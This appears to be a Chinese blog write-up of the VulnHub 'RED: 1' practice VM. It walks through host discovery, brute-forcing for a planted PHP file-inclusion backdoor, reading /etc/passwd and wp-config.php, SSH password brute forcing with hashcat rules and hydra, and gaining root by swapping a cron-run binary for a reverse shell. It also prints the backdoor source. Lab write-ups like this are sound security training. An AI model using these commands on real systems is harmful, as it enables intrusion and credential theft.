Vulhub实战靶场 RED: 1

一、环境搭建

1、靶场下载链接:https://www.vulnhub.com/entry/red-1,753/,该靶场为模拟实战靶场,你扮演了一个电脑网站被植入后门,丢失了自己的管理权限了,需要一步步重新夺回自己的root管理权限。

2、导入Oracle VM VirtualBox

3、将网卡设置为桥接模式方便测试

4、直接启动靶场即可

二、攻略步骤

1、信息发现,hostname -I,获取攻击机ip地址网段

 2、nmap -sP --min-hostgroup 1024 --min-parallelism 1024  192.168.1.0/24,探测靶场ip

3、nmap -sS -A  192.168.1.103,探测靶场启动的端口服务信息,探测到靶场启动的端口为22、80

4、nmap探测到,靶场系统为Ubuntu,80端口使用的框架为WordPress 5.8.1,访问靶场的80端口去收集更多信息

直接访问,是一些嘲讽信息,不是正常的网站页面,查看网站源码,发现href标签里,跳转的wp页面,域名都是redrocks.win

5、修改hosts文件,加入解析,使用域名访问网站,正常显示

 

 访问最大的Hello Blue嘲讽页面

在源码中发现提示,正常的英语语句的书写方法是每句话第一个首字母大写,从之后的正常语句也可以看出,整个句子只有第一句话的单词首字母都大写了,而大写的字母组合在一起是LFI,所以可以猜测,这个网站存在的漏洞是一个LFI(文件包含漏洞),因为WordPress是PHP的框架,可能red就是先一步在这里植入了一个php的webshell文件

 使用gobuster 爆破目录文件,使用的常见后门文件名字典下载链接为:https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt

输入命令:gobuster dir -w CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/ -o dir.txt -z

发现后门文件/NetworkFileManagerPHP.php

 

 6、搜索引擎,搜索后门文件,在github中可以发现他的webshell源码

 

接下来就是直接利用了,因为现在不清楚后门传入的参数使用的名称,所以使用wfuzz来进行爆破常见的参数名,使用的字典为SecLists中的字典,我一部分一部分的爆破,因为工作电脑性能不行,跑大量的数据包不准确,无法爆破出正确参数,输入命令:wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

 

7、尝试传入参数,确实可以使用,是一个文件包含webshell

访问链接: http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../etc/passwd

 

8、使用BurpSuite抓包,修改参数使用php伪协议读取后门源码

使用base64解码

该后门文件源码为:

<?php
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>

再次发现提示,提示为base64编码

 说的是密码、Hashcat规则什么的,现在不太明白。既然使用的WordPress,那就读取他的wp-config.php配置文件来看看有没有信息

 解码之后,得到数据库账号密码

用户名:john、密码:R3v_m4lwh3r3_k1nG!!

 9、查看passwd文件中,发现有同名的账户john,所以使用得到的账号密码,然后ssh登录不成功

 10、想到了之前的英语提示,翻译了一下,意思就是单靠密码不行,还需要hashcat规则

kali中有hashcat工具,他所有的加密都是用的base64加密,所以使用hacat用base64的规则命令生成爆破字典

输入命令:hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt

pass.txt为得到的原始密码,passlist.txt为根据密码生成的符合规则的密码

 11、使用生成的字典文件爆破ssh账户,输入命令:hydra -l john -P passlist.txt 192.168.1.103 ssh,成功爆破出密码

12、登录ssh成功,

发现几点问题

1)过几分钟就会被断开连接,而且密码都会换,需要重新爆破出新密码

2)登录之后查看文件,发现vi跟cat命令相反了,也就是vi实现的为cat的功能

3)不时的在shell中会出现干扰语句,真是第一次见到这样的靶场

 

三、提权

1、在ssh登录之后,收集信息,访问到了ippsec和oxdf目录下存在user.txt,应该是需要提权得到的flag

2、输入命令:sudo -l,查看到ippsec不需要密码就提权的命令有time

 

 3、输入命令:sudo -u ippsec /usr/bin/time /bin/bash,得到一个假的flag,看来真的flag还是在root账户下

 4、输入命令:find / -group ippsec -type d 2>/dev/null | grep -v proc,看看ippsec账户能有什么文件的权限,发现了wordpress下的.git目录

 5、发现ippsec是可以在.git目录中写入文件的,在目录中发现有隐藏的.c程序

 6、运行隐藏目录中的.rev,发现是执行.c程序的

 7、反弹一个账户ippsec的shell

在/dev/shm目录下,编辑一个反弹shell的脚本,执行之后,成功得到一个ippsec的shell

 

为了维持shell的稳定,不在被踢出去,在反弹的shell中输入:python3 -c 'import pty;pty.spawn("/bin/bash")'

用python在维持一下shell的稳定,多输入两次,虽然还可以接收到red的信息,但是现在就稳定了

8、维持好shell之后,赋予pspy64s执行权限,寻找可利用提权方法,下载链接:https://github.com/DominicBreuker/pspy/releases/tag/v1.2.0 

首先在放到攻击电脑的apache目录,打开apache之后在靶场反弹的shell中执行wget命令,下载之后执行找提权的方法

 

 

 

 

9、每过2分钟,在.git目录中的rev就会以root用户权限执行一次,而当前的ippsec用户有这个目录的读写权限,所以可以直接利用

首先,删除掉当前的dev和supersecretfileuc.c文件,然后将c语言用的反弹shell脚本重命名相同的名称,替换到.git目录中,等待反弹shell,

需要注意的是supersecretfileuc.c是反弹shell的源码,dev为编译之后的程序

在攻击机监听4242端口之后,成功得到root权限的shell,拿到root目录下的flag

四、总结

第一次玩到这种模拟攻防实战一样的靶场,非常的有意思,攻击过程中会不断的干扰攻击者,不时发送垃圾话还有定期改密码,都很有意思,感觉有意思的可以自己搭建玩一下。

最后的攻击机和靶场的ip变化是因为换网络环境了。

posted @ 2022-07-06 11:41  bonga  阅读(1628)  评论(0编辑  收藏  举报